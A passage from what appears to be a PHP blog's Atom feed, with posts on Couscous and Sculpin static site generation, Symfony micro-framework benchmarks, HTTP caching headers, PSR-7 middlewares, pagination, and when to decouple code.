<p>Then we need to create a <code>couscous.yml</code> file at the root of our Github Project:</p>

<pre><code>template:
    url: https://github.com/CouscousPHP/Template-Light.git

baseUrl: http://&lt;user-name&gt;.github.io/&lt;project-name&gt;

title: &lt;project-title&gt;
subTitle: &lt;project-short-decription&gt;

github:
    user: &lt;user-name&gt;
    repo: &lt;project-name&gt;

menu:
    items:
        home:
            text: Home
            relativeUrl:

        &lt;article-name&gt;:
            text: &lt;article-title&gt;
            relativeUrl: &lt;article-filename&gt;.html
</code></pre>

<p>Of course <code>&lt;user-name&gt;</code>, <code>&lt;project-name&gt;</code>, <code>&lt;project-title&gt;</code>, <code>&lt;project-short-decription&gt;</code>,
<code>&lt;article-name&gt;</code>, <code>article-title</code> and <code>article-filename</code> need to be replaced accordingly.</p>

<h2 id="generating-the-documentation">Generating the Documentation</h2>

<p>Couscous is going to automatically use <code>*.md</code> files found in the project (e.g. <code>README.md</code>).</p>

<p>The <code>menu</code> section in <code>couscous.yml</code> will generate a handy menu. Usually <code>home</code>
as well as the rest of the documentation is listed here, for example:</p>

<pre><code>menu:
    items:
        home:
            text: Home
            relativeUrl:

        installation:
            text: Installation
            relativeUrl: doc/01-installation.html

        compatibility:
            text: Compatibility
            relativeUrl: doc/02-compatibility.html

        benchmark:
            text: Benchmark
            relativeUrl: doc/03-benchmark.html
</code></pre>

<p>To generate the documentation, simply run:</p>

<pre><code>couscous preview
</code></pre>

<p>This will launch a local server, allowing us to preview the documentation at <code>http://localhost:8000</code>.</p>

<p>Once satisfied, we can run:</p>

<pre><code>couscous deploy
</code></pre>

<p>This will generate the definitive HTML, commit them in a <code>gh-page</code> branch and push
it, making it available online.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Couscous provides the possibility to host nice documentation for Github projects,
thanks to its simplicity.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Scuplin]]></title>
            <link href="/2016/01/15/sculpin.html"/>
            <updated>2016-01-15T00:00:00+00:00</updated>
            <id>/2016/01/15/sculpin.html</id>
            <content type="html"><![CDATA[<p>Previously using <a href="http://carew.github.io/">Carew</a>, the static website generator,
this blog has now been migrated to <a href="http://sculpin.io">Sculpin</a>.</p>

<p>Both tools are really similar:</p>

<ul>
<li>they've been written in PHP</li>
<li>they use both <a href="http://symfony.com">Symfony</a> components and <a href="http://twig.sensiolabs.org/">Twig</a></li>
<li>they both generate HTML pages from markdown documents</li>
</ul>

<p>However Sculpin has a better support and its author is a member PHP FIG. Let's
see how it works</p>

<h2 id="github-pages">Github Pages</h2>

<p>Github provides a service allowing people to host static webistes: <a href="https://pages.github.com/">Pages</a>.
The idea is simple:</p>

<ol>
<li>create a reporitory with a name following this pattern: <code>&lt;username&gt;.github.io</code></li>
<li>commit HTML files at its root and push</li>
<li>???</li>
<li>profit</li>
</ol>

<p>We can create a <code>_sculpin</code> directory at the root of the project, install inside
it our Sculpin application with the page sources and finally generate the HTML
files back in the root directory.</p>

<h2 id="installation">Installation</h2>

<p>Installing Scuplin is very easy as a PHAR is provided:</p>

<pre><code>curl -O https://download.sculpin.io/sculpin.phar
php sculpin.phar install
php sculpin.phar generate --watch --server
</code></pre>

<p>The <code>generate</code> command will convert all markdown files into HTML and the <code>--server</code>
option will launch a local web server alowing us to preview the website in the browser.</p>

<h2 id="writing-articles">Writing articles</h2>

<p>Articles are written in the <code>source/_posts</code> directory and their name must be
preffixed with their publication date (e.g. <code>2016-01-25-my-article.md</code>).</p>

<p>Every page starts with a front matters:</p>

<pre><code>---
layout: post
title: My Article
tags:
    - essay
---
</code></pre>

<p>The rest of the file is in standard markdown and will constitute the content of
the page.</p>

<h2 id="publishing">Publishing</h2>

<p>Once happy with the changes, we can generate the final HTML:</p>

<pre><code>php sculpin.phar generate --env=prod
</code></pre>

<p>The files will be located in <code>output_prod</code>. If we want to use Github Pages as
described above, we simply need to move those files to the root directory:</p>

<pre><code>cp -r output_prod/* ../
</code></pre>

<p>Then we simply need to commit all the changes and push.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Sculpin is quite simple to use: write some markdown files and let it generate HTML
files out of it. It uses Symfony and Twig behind the scene making it really easy
to extend.</p>

<blockquote>
  <p><strong>Note</strong>: Migrating from carew has been a simple task. In my case it required:</p>
  
  <ul>
  <li>removing all <code>link</code> function usage and use instead markdown links</li>
  <li>configure <code>permalink</code> to <code>:year/:month/:day/:filename.html</code> in <code>app/config/sculpin_kernel.yml</code> to keep URL backward compatibility</li>
  </ul>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony Micro Framework]]></title>
            <link href="/2015/12/23/symfony-micro-framework.html"/>
            <updated>2015-12-23T00:00:00+00:00</updated>
            <id>/2015/12/23/symfony-micro-framework.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TD;DR</strong>: <a href="http://symfony.com">Symfony</a> has always been able to be used as a micro
  framework.
  For more "add what you need" micro-framework like spirit, use the <a href="http://github.com/gnugat/symfony-empty-edition">Empty Edition</a>
  and the <a href="http://github.com/gnugat/micro-framework-bundle">MicroFrameworkBundle</a>.</p>
</blockquote>

<p>There are many definitions out there to qualify a framework as being "micro", among
them the following criterias often appear:</p>

<ul>
<li>small API (usage of framework's code in your application)</li>
<li>few Lines Of Code (LOC)</li>
<li>few dependencies (how many third party libraries are used)</li>
<li>small footprint (framework loading time)</li>
</ul>

<p>Is Symfony a micro framework as well? Let's find out.</p>

<blockquote>
  <p><strong>Note</strong>: To know more about how to determine if a framework is micro, read
  <a href="https://igor.io/archive.html">Igor Wiedler</a> article: <a href="https://igor.io/2013/09/02/how-heavy-is-silex.html">How heavy is Silex?</a>.</p>
</blockquote>

<h2 id="measuring">Measuring</h2>

<p>While "Hello World" examples rarely reflect real world applications, it's going
to be good enough to serve the purpose of this article: getting a good measure of
Symfony's API, LOC, dependencies and footprint.</p>

<p>Since dependencies and footprint are easy to measure, we're going to rely on it.
However, all benchmarks are relative to the computer that executes them, so we need
a point of reference: a flat PHP "Hello World" application:</p>

<pre><code class="php">&lt;?php
// index.php

echo 'Hello World';
</code></pre>

<p>Let's run the benchmark:</p>

<pre><code>php -S localhost:2501 &amp;
ab -c 10 -t 10 'http://localhost:2501/index.php'
killall php
</code></pre>

<p>Result: <strong>6 915.03</strong> Requests per second.</p>

<h2 id="standard-edition">Standard Edition</h2>

<p>To get the Standard Edition, we can use composer:</p>

<pre><code>composer create-project symfony/framework-standard-edition
cd framework-standard-edition
</code></pre>

<p>Since the standard edition follows a "solve 80% of use cases out of the box" philosohpy,
it's almost ready, we just need to tweak the given controller:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/DefaultController.php

namespace AppBundle\Controller;

use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class DefaultController extends Controller
{
    /**
     * @Route("/", name="homepage")
     */
    public function indexAction(Request $request)
    {
        return new Response('Hello World');
    }
}
</code></pre>

<p>Let's run the benchmark:</p>

<pre><code>SYMFONY_ENV=prod composer update -o --no-dev
php -S localhost:2502 -t web &amp;
ab -c 10 -t 10 'http://localhost:2502/app.php'
killall php
</code></pre>

<p>Result: <strong>134.23</strong> Requests per second.</p>

<p>We're also going to list the dependencies:</p>

<pre><code>tree -d -L 2 vendor/ | grep '   ' | wc -l
tree -d -L 2 vendor/ | grep '    ' | wc -l
</code></pre>

<p>We get 28 + 1, to which we need to substitute <code>symfony</code> with all the
packages it replaces (44): 72.</p>

<p>So to sum up:</p>

<ul>
<li>API: 1 step to add a new route</li>
<li>footprint: 52x slower than flat PHP</li>
<li>size: 72 dependencies</li>
</ul>

<h2 id="empty-edition">Empty Edition</h2>

<p>As stated above the Standard Edition has a "solve 80% of use cases out of the box"
philosophy, so it comes with many dependencies that might not fit our use. Micro
framework usually follow a "add what you need philosophy", which is exactly what
the Empty Edition is all about.</p>

<p>Let's see if we can get more micro with it:</p>

<pre><code>composer create-project gnugat/symfony-empty-edition
cd symfony-empty-edition
</code></pre>

<p>The first step is to create a controller:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/HelloController.php

namespace AppBundle\Controller;

use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class HelloController
{
    public function world(Request $request)
    {
        return new Response('Hello World');
    }
}
</code></pre>

<p>Then we register it as a service:</p>

<pre><code># app/config/services/controller.yml
services:
    app.hello_controller:
        class: AppBundle\Controller\HelloController
</code></pre>

<p>Finally we register the route:</p>

<pre><code># app/config/routings/app.yml
hello_world:
    path: /
    defaults:
        _controller: app.hello_controller:world
    methods:
        - GET
</code></pre>

<p>Let's run the benchmark:</p>

<pre><code>composer update -o --no-dev
php -S localhost:2503 -t web &amp;
ab -c 10 -t 10 'http://localhost:2503/app.php'
killall php
</code></pre>

<p>Result: <strong>524.53</strong> Requests per second.</p>

<p>We're also going to list the dependencies:</p>

<pre><code>tree -d -L 2 vendor/ | grep '   ' | wc -l
tree -d -L 2 vendor/ | grep '    ' | wc -l
</code></pre>

<p>We get 6 + 23 = 29.</p>

<p>So to sum up:</p>

<ul>
<li>API: 3 steps to add a new route</li>
<li>footprint: 13x slower than flat PHP</li>
<li>size: 29 dependencies</li>
</ul>

<h2 id="micro-framework-bundle">Micro Framework Bundle</h2>

<p>By reducing the number of dependencies, we also drastically reduced the framework
footprint. This is not surprising as:</p>

<ul>
<li>we've reduced the number of classes to autoload</li>
<li>we've reduced the number of configuration (parameters and service definition) to set up</li>
<li>we've reduced the bootload time of the Dependency Injection Container (less services to instantiate)</li>
<li>we've reduced the number of event listeners called</li>
</ul>

<p>Can we go further? Certainly: the FrameworkBundle also follows a
"solve 80% of use cases out of the box" (includes Forms, Security, Templating, Translation, Assets, annotations, etc).</p>

<p>By using a MicroFrameworkBundle that would provide the strict minimum and follow
the micro framework philosophy of "add what you need" we can surely reduce further
the number of dependencies. Hence <code>gnugat/micro-framework-bundle</code>:</p>

<pre><code>composer require 'gnugat/micro-framework-bundle'
composer remove 'symfony/framework-bundle'
</code></pre>

<p>Then we need to swap the bundle in the registration:</p>

<pre><code class="php">&lt;?php
// app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        return array(
            new Gnugat\MicroFrameworkBundle\GnugatMicroFrameworkBundle(),
            new AppBundle\AppBundle(),
        );
    }

    public function getRootDir()
    {
        return __DIR__;
    }

    public function getCacheDir()
    {
        return dirname(__DIR__).'/var/cache/'.$this-&gt;environment;
    }

    public function getLogDir()
    {
        return dirname(__DIR__).'/var/logs';
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load($this-&gt;rootDir.'/config/config_'.$this-&gt;environment.'.yml');
    }
}
</code></pre>

<p>Finally we can get rid of some configuration:</p>

<pre><code># app/config/config.yml
imports:
    - { resource: parameters.yml }
    - { resource: services/ }
</code></pre>

<p>Let's benchmark our trimmed application:</p>

<pre><code>rm -rf var/*
composer update -o --no-dev
php -S localhost:2504 -t web &amp;
ab -c 10 -t 10 'http://localhost:2504/app.php'
killall php
</code></pre>

<p>Result: <strong>872.83</strong> Requests per second.</p>

<p>We're also going to list the dependencies:</p>

<pre><code>tree -d -L 2 vendor/ | grep '   ' | wc -l
tree -d -L 2 vendor/ | grep '    ' | wc -l
</code></pre>

<p>We get 3 + 13 = 16.</p>

<p>So to sum up:</p>

<ul>
<li>API: 3 steps to add a new route</li>
<li>footprint: 8x slower than flat PHP</li>
<li>size: 13 dependencies</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Symfony has always been able to be used as a micro framework bundle.</p>

<p>The <a href="https://github.com/symfony/symfony-standard">Standard Edition</a> and the
<a href="https://github.com/symfony/symfony/tree/master/src/Symfony/Bundle/FrameworkBundle">FrameworkBundle</a>
follow a "solve 80% of use cases out of the box" philosohpy, which is better for new comers.</p>

<p>However for experimented developers who're looking for a "add what you need" philosophy,
which is what micro-framework usually follow, using the <a href="http://github.com/gnugat/symfony-empty-edition">Empty Edition</a>
and <a href="http://github.com/gnugat/micro-framework-bundle">MicroFrameworkBundle</a> can
be a viable alternative (they are slimer in term of dependencies and faster).</p>

<blockquote>
  <p><strong>Note</strong>: At the time of writing, MicroFrameworkBundle is still under development
  (version <code>0.1.0</code>). Use it at your own risk and contribute to it :) .</p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[HTTP Cache]]></title>
            <link href="/2015/11/26/http-cache.html"/>
            <updated>2015-11-26T00:00:00+00:00</updated>
            <id>/2015/11/26/http-cache.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Enable HTTP cache by setting one of the following header in your Responses:
  <code>Cache-Control</code>, <code>Expires</code>, <code>Last-Modified</code> or <code>Etag</code>.</p>
</blockquote>

<p>The HTTP protocol specifies how to cache Responses:</p>

<p><img src="http://www.websequencediagrams.com/cgi-bin/cdraw?lz=SFRUUCBHYXRld2F5IENhY2hlCgpDbGllbnQtPgAKBTogUmVxdWVzdAoAGQUtPlNlcnZlcjogRm9yd2FyZGVkIHIAGgcAFAYALQtzcG9uc2UAMQgAUQYAKw4AGggAZA5TYW1lAE0JAC8PAIEfBQAwCw&amp;s=napkin" alt="sequence diagram" /></p>

<p>The following actors are involved:</p>

<ul>
<li>client, usually a browser or a SDK</li>
<li>reverse proxy (cache application), could be one (or even many) of:

<ul>
<li><a href="http://nginx.org/en/">nginx</a></li>
<li><a href="https://www.varnish-cache.org/">Varnish</a></li>
<li>a CDN like <a href="https://aws.amazon.com/cloudfront/">cloudfront</a></li>
<li><code>AppCache</code> embed in <a href="http://symfony.com/doc/current/book/http_cache.html#symfony-reverse-proxy">Symfony</a></li>
</ul></li>
<li>application</li>
</ul>

<p>Its advantages:</p>

<ul>
<li>standard and widely adopted (highly documented on the web)</li>
<li>simple to set up (just add HTTP headers to Responses)</li>
<li>improves the number of Request per second (avoids calling the dynamic logic)</li>
</ul>

<p>Its drawbacks:</p>

<ul>
<li>requires an extra application (the Reverse Proxy)</li>
<li>does not reduce network calls from a Client point of view</li>
<li>needs more thinking (choose a strategy)</li>
</ul>

<h2 id="cacheable-response">Cacheable Response</h2>

<p>A Response can be cached if the incoming Request complies to the following rules:</p>

<ul>
<li>it has a <code>GET</code> or <code>HEAD</code> method</li>
<li>its URI is the same (that includes query parameters)</li>
<li>its headers listed in <code>Vary</code> are the same</li>
<li>it doesn't have a <code>Authorization</code> header</li>
</ul>

<p>For example, the following Request can produce cacheable Responses:</p>

<pre><code>GET /v1/items?page=1
Accept: application/json
Vary: Accept
</code></pre>

<p>Sending the following Request would produce a different cacheable Response:</p>

<pre><code>GET /v1/items?page=1
Accept: text/html
Vary: Accept
</code></pre>

<p>To be cacheable, a Response should also have one of the headers described in the
next section.</p>

<blockquote>
  <p><strong>Note</strong>: Headers specified in <code>Vary</code> will have their value stored in the
  Reverse Proxy. Sensitive data (e.g. API keys, password, etc) shouldn't be used
  as a cache key.</p>
</blockquote>

<h2 id="strategies">Strategies</h2>

<p>HTTP cache provides the possibility to choose different strategies:</p>

<ul>
<li>Expiration (timeout or expiration date)</li>
<li>Validation (modification date or hash comparison)</li>
</ul>

<h3 id="expiration">Expiration</h3>

<p>If a Response can be safely cached for a fixed period of time (e.g. 10 minutes),
use <code>Cache-Control</code> HTTP Header:</p>

<pre><code>HTTP/1.1 200 OK
Cache-Control: max-age=600
Content-Type: application/json

{"id":42,"name":"Arthur Dent"}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: the Reverse Proxy will add a header to the Response indicating its age:</p>

<pre><code>HTTP/1.1 200 OK
Age: 23
Cache-Control: max-age=600
Content-Type: application/json

{"id":42,"name":"Arthur Dent"}
</code></pre>
</blockquote>

<p>If a Response can be safely cached until a known date (e.g. the 30th of October 1998,
at 2:19pm), use <code>Expires</code> HTTP Header:</p>

<pre><code>HTTP/1.1 200 OK
Expires: Fri, 30 Oct 1998 14:19:41 GMT
Content-Type: application/json

{"id":42,"name":"Arthur Dent"}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: the HTTP date format is required.</p>
</blockquote>

<h3 id="validation">Validation</h3>

<p>The Reverse Proxy can serve stale cached copy and then asynchronously check with
the Application if it needs to be refreshed, using <code>Last-Modified</code> (a date) or/and
<code>ETag</code> (a hash) HTTP Headers:</p>

<pre><code>HTTP/1.1 200 OK
Last-Modified: Tue, 8 Sep 2015 13:35:23 GMT
ETag: a3e455afd
Content-Type: application/json

{"id":42,"name":"Arthur Dent"}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: the Reverse Proxy will add a header to requests with <code>If-Modified-Since</code>
  (a date) or/and <code>If-None-Match</code> (a hash):</p>

<pre><code>GET /v1/users/42 HTTP/1.1
If-Modified-Since: Tue, 8 Sep 2015 13:35:23 GMT
If-None-Match: a3e455afd
Accept: application/json
</code></pre>
  
  <p>If the Response shouldn't be updated, the Server should return a <code>304 Not Modified</code>
  Response.</p>
</blockquote>

<h2 id="cheatsheet">Cheatsheet</h2>

<h3 id="cache-control-values">Cache-Control values</h3>

<p>Keep in mind that <code>Cache-Control</code> header can be used by both the Reverse Proxy
and the Client (e.g. a browser) to cache the Response.</p>

<ul>
<li><code>max-age=[seconds]</code>: How long the Response should be cached</li>
<li><code>s-maxage=[seconds]</code>: Same as max-age but for Reverse Proxy only</li>
<li><code>private</code>: Only the Client can cache (default for authenticated Responses)</li>
<li><code>public</code>: Proxy can also cache (for authenticated Responses)</li>
<li><code>no-cache</code>: Refresh the cached copy (but still caches it)</li>
<li><code>no-store</code>: Response should not be cached anywhere (e.g. because it contains sensitive data)</li>
<li><code>must-revalidate</code>: Refresh the cached copy if it is stale</li>
<li><code>proxy-revalidate</code>: Same as must-revalidate but for Reverse Proxy only</li>
</ul>

<h3 id="http-date-format">HTTP date format</h3>

<p>The date MUST be represented in Greenwich Mean Time (GMT), with the following format: <code>D, d M Y H:i:s GMT</code></p>

<ul>
<li><code>D</code>: A textual representation of a day, three letters (<code>Mon</code> to <code>Sun</code>)</li>
<li><code>d</code>: Day of the month, 2 digits with leading zeros (<code>01</code> to <code>31</code>)</li>
<li><code>M</code>: A short textual representation of a month, three letters (<code>Jan</code> to <code>Dec</code>)</li>
<li><code>Y</code>: A full numeric representation of a year, 4 digits (e.g. <code>1999</code>, <code>2003</code>)</li>
<li><code>H</code>: 24-hour format of an hour with leading zeros (<code>00</code> to <code>23</code>)</li>
<li><code>i</code>: Minutes with leading zeros (<code>00</code> to <code>59</code>)</li>
<li><code>s</code>: Seconds, with leading zeros (<code>00</code> to <code>59</code>)</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>The <code>Expires</code> header is usually used to cache responses for application which are
updated on a regular date (synchronization with a source of the data).</p>

<p>The <code>Last-Modified</code> header is used when the data has an <code>updated_at</code> field we can
rely on.</p>

<p>The <code>Etag</code> header is used when we can safely create a hash of the response and compare
it with with the cached copy.</p>

<blockquote>
  <p><strong>Note</strong>: With <code>Last-Modified</code> and <code>Etag</code>, the Reverse Proxy serves first the
  cached Reponse and then check asynchronously with the application if it is stale.</p>
</blockquote>

<p>Finally the <code>Cache-Control</code> header is usually used in any other situation.</p>

<p>More readings about HTTP Cache can be found here:</p>

<ul>
<li><a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13">HTTP 1.1 (RFC 2616), caching chapter</a></li>
<li><a href="http://2ndscale.com/rtomayko/2008/things-caches-do">Things caches do</a></li>
<li><a href="https://www.mnot.net/cache_docs/">Caching tutorial</a></li>
<li><a href="https://jakearchibald.com/2016/caching-best-practices/">Caching best practices</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Beyond PSR-7]]></title>
            <link href="/2015/11/11/beyond-psr7.html"/>
            <updated>2015-11-11T00:00:00+00:00</updated>
            <id>/2015/11/11/beyond-psr7.html</id>
            <content type="html"><![CDATA[<p><a href="http://www.php-fig.org/psr/psr-7/">PSR-7</a> is a standard providing interfaces for
HTTP messages.</p>

<p>The main package, <a href="https://packagist.org/packages/psr/http-message">psr/http-message</a>,
has a <a href="https://packagist.org/providers/psr/http-message-implementation">few implementations</a>
but mainly it comes down to:</p>

<ul>
<li><a href="https://packagist.org/packages/zendframework/zend-diactoros">Zend Diactoros</a></li>
<li><a href="https://packagist.org/packages/guzzlehttp/psr7">Guzzle PSR-7</a></li>
</ul>

<p>The standard interfaces leave little room for implementation details by forcing
immutability and streams. It mainly leaves freedom in the way implementations
are constructed though.</p>

<blockquote>
  <p><strong>Note</strong>: Beyond that, Diactoros and Guzzle still differ slightly.</p>
</blockquote>

<p>It's a pity we didn't end up directly with standard value objects, but we'll have
to do with those interfaces for now. So now, what's the next step for PSR-7?</p>

<h2 id="middlewares">Middlewares</h2>

<p>Middlewares have been around for a while now (in PHP as well as in other languages).
The idea is to have:</p>

<ol>
<li>an interface</li>
<li>an implementation considered to be the basic one</li>
<li>implementations that wraps a call to another one</li>
</ol>

<p>Let's take <a href="http://symofny.com">Symfony</a>'s <code>HttpKernelInterface</code> as an example:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\HttpKernel\HttpKernelInterface;

use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

interface HttpKernelInterface
{
    const MASTER_REQUEST = 1;
    const SUB_REQUEST = 2;

    // @return Response
    public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = false);
}
</code></pre>

<p>Symfony provides a <code>HttpKernel</code> implementation to take care of creating a
<code>Response</code> for the given <code>Request</code>. Middlewares would wrap the call to
<code>HttpKernel#handle</code> with their own logic, which could be:</p>

<ul>
<li><a href="https://github.com/gnugat/knowledge/blob/master/memo/http-cache.md">HTTP cache</a>, save the Response for a given Request when possible and serve the copy until it's stale</li>
<li><a href="http://williamdurand.fr/Negotiation/">Content Negotiation</a>, guess how to format the Response body based on the <code>Accept</code> header</li>
<li>Database transaction, with the possibility to rollback on error (or always rollback for tests)</li>
</ul>

<p>Here's an example to always rollback database transactions with <a href="/2015/08/06/pomm-foundation.html">Pomm Foundation</a>.</p>

<pre><code class="php">&lt;?php

namespace Acme\Fortune\Bridge\HttpKernel;

use PommProject\Foundation\QueryManager\QueryManagerInterface;
use Symfony\Component\HttpKernel\HttpKernelInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class RollbackKernel implements HttpKernelInterface
{
    private $httpKernel;
    private $queryManager;

    public function __construct(HttpKernelInterface $httpKernel, QueryManagerInterface $queryManager)
    {
        $this-&gt;httpKernel = $httpKernel;
        $this-&gt;queryManager = $queryManager;
    }

    // @return Response
    public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = false)
    {
        $this-&gt;queryManager-&gt;query('START TRANSACTION');
        $response = $this-&gt;httpKernel-&gt;handle($request, $type, $catch);
        $this-&gt;queryManager-&gt;query('ROLLBACK');

        return $response;
    }
}
</code></pre>

<p>The <a href="http://stackphp.com/">Stack</a> initiative provides visibility on those <code>HttpKernelInterface</code> middlewares.</p>

<blockquote>
  <p><strong>Note</strong>: Stack is inspired by Ruby's <a href="http://rack.github.io/">rack</a>.</p>
</blockquote>

<h2 id="psr-7-middelwares">PSR-7 Middelwares</h2>

<p>So the next step would be to provide a standard interface to allow PSR-7 middlewares.
Of course such a standard isn't straigthforward as there are many ways to create middlewares.</p>

<h3 id="1.-take-request%2C-return-response">1. Take request, return response</h3>

<p>Similar to <code>HttpKernelInterface</code>, this one just receives a <code>RequestInterface</code>
and returns a <code>ResponseInterface</code>:</p>

<pre><code class="php">&lt;?php

use Psr\Message\RequestInterface;
use Psr\Message\ResponseInterface;

interface RequestHandler
{
    // @return ResponseInterface
    public function handleRequest(RequestInterface $request);
}
</code></pre>

<p>Names can be debated, but the point here is that calling the next middleware is
up to the implementation (can use dependency injection).</p>

<p><a href="http://docs.php-http.org/en/latest/httplug/introduction.html">Httplug</a> is a good example
using this implementation.</p>

<h3 id="2.-take-request%2C-response-and-next">2. Take request, response and next</h3>

<p>Another interface commonly encountered forces the way of managing the next middleware:</p>

<pre><code class="php">&lt;?php

use Psr\Message\RequestInterface;
use Psr\Message\ResponseInterface;

interface RequestHanler
{
    public function handleRequest(
        RequestInterface $request,
        ResponseInterface $response,
        RequestHanler next = null
    );
}
</code></pre>

<p>This one requires the response to be passed as an argument, as well as the next
middleware.</p>

<p>A good example using this implementation would be <a href="https://github.com/zendframework/zend-stratigility/blob/master/doc/book/middleware.md">Zend Stratigility</a></p>

<h2 id="conclusion">Conclusion</h2>

<p>Middlewares are really powerful and PSR-7 would benefit greatly from it, but we're
missing a standard for it. As long as it will be missing, we're going to assist to
the creation of a wide range of "PSR-7 middlewares",  all incompatible with each others.</p>

<p>Since this seems inevitable, maybe we should instead try to figure out a new standard
that would allow to compose all those middlewares?</p>

<p><a href="https://xkcd.com/927/"><img src="https://imgs.xkcd.com/comics/standards.png" alt="XKCD explaining how standards proliferate" /></a></p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[porpaginas]]></title>
            <link href="/2015/11/05/porpaginas.html"/>
            <updated>2015-11-05T00:00:00+00:00</updated>
            <id>/2015/11/05/porpaginas.html</id>
            <content type="html"><![CDATA[<p>Pagination libraries like <a href="https://github.com/whiteoctober/Pagerfanta">Pagerfanta</a>
or <a href="https://github.com/KnpLabs/KnpPaginatorBundle">KnpPaginator</a> usually require
a <code>QueryBuilder</code>:</p>

<pre><code>// Usually in a controller
$queryBuilder = $this-&gt;itemRepository-&gt;queryBuilderForFindAll();
$results = $paginationService-&gt;paginate(
    $queryBuilder,
    $currentPageNumber,
    $itemsPerPage
);
</code></pre>

<p>This is necessary because we need to get the result for the page as well as the
number of total results (with a database it would mean two queries).
Unfortunately this kind of logic tends to leak in our controllers which is why
<a href="http://www.whitewashing.de/">Benjamin Eberlei</a> suggests an elegant alternative:</p>

<pre><code class="php">// Can be done in a service
$result = $this-&gt;itemRepository-&gt;findAll();

// Can be done in a ViewListener
$page = $result-&gt;take($currentPageNumber, $itemsPerPage);
</code></pre>

<p>The <code>QueryBuilder</code> is actually wrapped in a <code>Result</code> which provides the possibility
to get all of them or a single portion.
Its <code>take</code> method returns the <code>PaginatorService</code> wrapped in a <code>Page</code> which contains
all the meta data we usually expect (page number, total elements, etc).</p>

<p>To make it possible he created <a href="http://github.com/beberlei/porpaginas">porpaginas</a>,
a small library that provides <code>Result</code> and <code>Page</code> as interfaces.
The actual pagination logic is delegated to the library of our choice, using adapters.</p>

<p>Enjoy!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Decouple from Decoupling]]></title>
            <link href="/2015/10/26/decouple-from-decoupling.html"/>
            <updated>2015-10-26T00:00:00+00:00</updated>
            <id>/2015/10/26/decouple-from-decoupling.html</id>
            <content type="html"><![CDATA[<p>In the last two articles, we've seen how to decouple our application:</p>

<ul>
<li><a href="/2015/09/30/decouple-from-frameworks.html">from frameworks, using the Command Bus pattern</a></li>
<li><a href="/2015/10/12/decouple-from-libraries.html">from libraries, using the Inversion of Control principle</a></li>
</ul>

<p>Decoupling can be considered as a "Best Practice" as it is a good protection
against external changes, but it doesn't mean that it should always be applied
everywhere.</p>

<p>This article is about mitigating the usage of this tool.</p>

<h2 id="clean-code">Clean Code</h2>

<p>Decoupling is an important part of clean code, as it can allow a better readability.</p>

<p>For example instead of having a controller full of logic, we just have a Command
class initialized with the input parameters that matter and a class name that describe
the expected behavior. Inside the Command Handler, instead of having implementation
details we have a sequence of service calls that decribe even further the behavior.</p>

<p>Clean code is all about making the application easier to maintain so in theory
this should be applied everywhere, but like every rules it can be abused and its
usefulness depends on the type of the project.</p>

<p>It might seem strange but some projects don't need to be maintained, for example
Proof of Concepts are usually thrown away once the experience they were designed
for are done, so it doesn't make sense to take the time to make them perfect.</p>

<p>Some industry are also commissioned to bootstrap a project as fast as possible
and are expected to pass over the project without any maintainance plan: usually
the ones that promise the earlier delivery for the lowest price are selected.
Again it doesn't make sense to take the time to create the most beautiful code
if that's not what's been asked and paid for.</p>

<h2 id="pragmatism">Pragmatism</h2>

<p>Trying to use the right tool for the right job is an important part of being
pragmatic.</p>

<p>We've seen that some projects don't necessarly need decoupling as we don't expect
to maintain them. But sometimes a project might need decoupling in some parts
of it and not in other parts.</p>

<p>As the saying goes, "Fool me once, shame on you, fool me twice, shame on me":
since we can't know in advance which parts are going to change we might decide
to couple things first. When an issue occurs due to the coupling, we can refactor
to avoid further issues.</p>

<p>Last but not least, we can't always decouple from everything: for example the
programming language used can also release backward incompatible changes, or we
might want to switch to an entirely different one. Is it worth decouling from the
language?</p>

<h2 id="conclusion">Conclusion</h2>

<p>Decoupling is a great tool that should be used when needed but the decision of
when to use it depends on the context (project, team, industry, etc).</p>

<p>The rule of thumb number one is: don't follow blindly rule of thumbs.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Decouple from Libraries]]></title>
            <link href="/2015/10/12/decouple-from-libraries.html"/>
            <updated>2015-10-12T00:00:00+01:00</updated>
            <id>/2015/10/12/decouple-from-libraries.html</id>
            <content type="html"><![CDATA[<p>Libraries are similar to frameworks: they solve infrastructure problems (e.g.
requesting remote endpoints or querying databases). They also don't directly
add any value to our projects: the business need will not be fulfilled by
connecting to a database.</p>

<p>They also share the same Backward Compatibility (BC) break issue, since they will
change to solve their own concerns, regardless of our projects.</p>

<p>Here's a true story with <a href="http://guzzle.readthedocs.org/en/latest/">Guzzle</a>: we
started to use version 2 in our project and spread direct calls to it in different places.
After a while we've decided to use <a href="http://flysystem.thephpleague.com/">Flysystem</a>
